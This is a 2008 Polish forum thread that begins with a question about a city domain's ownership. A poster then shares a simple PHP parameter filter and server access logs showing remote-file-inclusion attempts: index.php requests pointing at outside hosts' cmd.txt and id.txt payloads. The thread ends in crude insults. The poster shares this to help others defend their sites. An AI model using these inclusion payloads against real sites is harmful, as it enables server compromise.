Kto ukradł domenę floatinggarden.pl

18.04.08, 06:35
Kto ukradł domenę floatinggarden.pl i inne !!! - Mam nadzieję, że miasto
zadbało o to aby być ich właścicielami aby potem się nie okazało, że działa
tam np. kasyno internetowe lub strony porno.

Krzysztof
    • Gość: .. spokojnie szn jest ownerem IP: *.neoplus.adsl.tpnet.pl 18.04.08, 10:42
      REGISTRANT:
      company: Gmina Miasto Szczecin
      street: Plac Armii Krajowej 1
      city: 70-456 Szczecin
      location: PL
      handle: hmns172234
      • Gość: zona.pijaka Ataki hakerów IP: *.google.com 18.04.08, 10:57
        Zaatakowano serwery kancelarii premiera a poprzednio min. pracy:
        wiadomosci.wp.pl/wiadomosc.html?kat=1342&wid=9869916&rfbawp=1208506209.374
        Chcę poinformować was że w ostatnich dniach również zaatakowano serwery do których mam dostęp.
        Dla ciekawskich analityków wyciąg z logów, oraz adresy serwerów-zombies które brały udział w atakach:

        ----------------------------
        I tak np:
        contactcraze.com/tanii?????? wkleja kawalek kodu
        www.icil.co.nz/cmd.txt? wkleja inny kawalek kodu.
        itp:

        Dla wszystkic posiadaczy stron w Internecie podaję gratisowp poniżej krótką receptę na zablokowanie dopisywania http do adesów w atakach typu denial dos:

        ?
        $a=array("id","mode","PHPSESSID");
        $b=array("http");
        foreach ($_GET as $key => $val){
        $ok=0;
        foreach ($a as $val2){
        if ($val2==$key){
        $ok=1;
        break;
        }
        }
        if (!$ok){
        die();
        }

        $ok=1;
        foreach ($b as $val2){
        if (!(strpos($val,$val2)===false)){
        $ok=0;
        break;
        }
        }
        if (!$ok){
        die();
        }
        }
        ?

        Dla wyjaśnienia, w miejscach 'id', 'mode' dopisać wszelkie inne koncowki po index.php? istniejące w serwisie. Natomiast "http" dla odmiany zabija kazde wywołanie z dopisanym zewnętrznym adresem http, serwerem.

        -------
        A oto przykładowy wyciąg z logow:

        2008-03-20 19:31:20|212.223.22.30|TE, close|||libwww-perl/5.800||/index.php?strona=www.esoterium.de//smile-i.gif??|1
        2008-03-30 19:39:21|216.145.5.42|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxxx|/|1
        2008-04-05 11:15:07|65.199.34.69||||||/|1
        2008-04-06 16:28:08|64.246.165.50|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxxxx|/|1
        2008-04-12 8:11:01|62.75.143.93|TE, close|||libwww-perl/5.803||//index.php?strona=contactcraze.com/tanii??????|1
        2008-04-12 8:28:15|195.155.232.37|close|||Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)||//index.php?strona=www.marcokrasenberg.nl/images/resp.txt???|1
        2008-04-12 8:28:53|85.17.6.6|TE, close|||libwww-perl/5.79||//index.php?strona=contactcraze.com/cmd-a.txt???|1
        2008-04-12 13:49:13|78.111.108.101|TE, close|||libwww-perl/5.810||//index.php?strona=dt-support.com/hcl/id.txt???|1
        2008-04-12 13:49:14|78.111.108.101|TE, close|||libwww-perl/5.810||//index.php?strona=dt-support.com/hcl/id.txt???|1
        2008-04-12 14:08:24|200.180.216.43|close|||libwww-perl/5.803||//index.php?strona=dt-support.com/hcl/id.txt???|1
        2008-04-13 16:47:47|64.246.165.210|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxx|/|1
        2008-04-16 21:46:40|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=38&PHPSESSID=d6436b80a236e6822f0d8b7694ee485a/index.php?id=www.icil.co.nz/cmd.txt?|1
        2008-04-16 21:46:41|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=www.icil.co.nz/cmd.txt?|1
        2008-04-16 21:46:43|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php|1
        2008-04-16 21:52:11|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=40/index.php?id=www.icil.co.nz/cmd.txt?|1



        2008-04-02 23:36:37|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php|1
        2008-04-02 23:36:38|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.math.science.cmu.ac.th%2Flms%2Flib%2Fadodb%2Fpear%2Fnoxifi%2Fezogan%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0
        2008-04-02 23:36:39|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.urlaub-reisen-privat.de%2Fjackass-world%2Fforum%2Fimages%2Favatars%2Fidiz%2Fulasoq%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0
        2008-04-02 23:36:39|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.boomerbible.com%2Finstapunk%2FMType%2Farchives%2Fajuq%2Fpiy%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0
        2008-04-02 23:36:42|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.pattibus.it%2Fphplib-7.2b%2Fpages%2Fgodot%2Feridehi%2F|1
        2008-04-02 23:36:41|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.qualitas1988.com%2Fupload%2Finterswitchnigeria_com%2Fdovi%2Fduq%2Fanesesu%2F|1
        2008-04-02 23:36:42|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.zetesis.biz%2FLMR%2Fade%2Fzupe%2F|1
        2008-04-02 23:36:43|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0
        2008-04-03 1:27:09|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php|1
        2008-04-03 1:27:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fwww.agv-schaafheim.de%2Fgallery%2Fdata%2Fmedia%2Fnexa%2Fzevela%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0
        2008-04-03 1:27:14|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fsites.redskycreative.com%2Fcanyonlakechurch%2Fjolalu%2Fbuq%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0
        2008-04-03 1:27:13|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fwww.polisgrandhotel.gr%2F_cm_admin%2Fmaillist%2Feditor%2Fplugins%2Fcore%2Fdialogs%2Fqunik%2Futanac%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0
        2008-04-03 1:27:14|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fwww.elettrodataservice.it%2Ffoto_articoli%2Fpivafof%2Foqonon%2F|1
        2008-04-03 1:27:15|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fsinzinuri.com%2Fimsi%2Fdb%2Fpic%2Fhuv%2Fabey%2F|1
        2008-04-03 1:27:16|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fwww.agv-schaafheim.de%2Fgallery%2Fdata%2Fmedia%2Fnexa%2Fzevela%2F|1
        2008-04-03 5:44:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|87.229.24.63||/index.php|1
        2008-04-03 5:44:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|87.229.24.63||/index.php?PHPSESSID=http%3A
        • Gość: DoraKlo Re: Ataki hakerów IP: *.neoplus.adsl.tpnet.pl 18.04.08, 11:11
          Co śmieciu zrobiłeś już sobie wszywę
          • Gość: zona.pijaka Szczyt idiotyzmu IP: *.google.com 18.04.08, 11:25
            Razem z adminem walic konia (robic laskę) temu "gryfu". Albo tak go ściskać żeby się zesr.ł.
            • Gość: fenix Re: Szczyt idiotyzmu IP: *.neoplus.adsl.tpnet.pl 18.04.08, 12:49
              hmmm... kulturalnie widzę informatycy sobie przygadują ;)
Inne wątki na temat:
Pełna wersja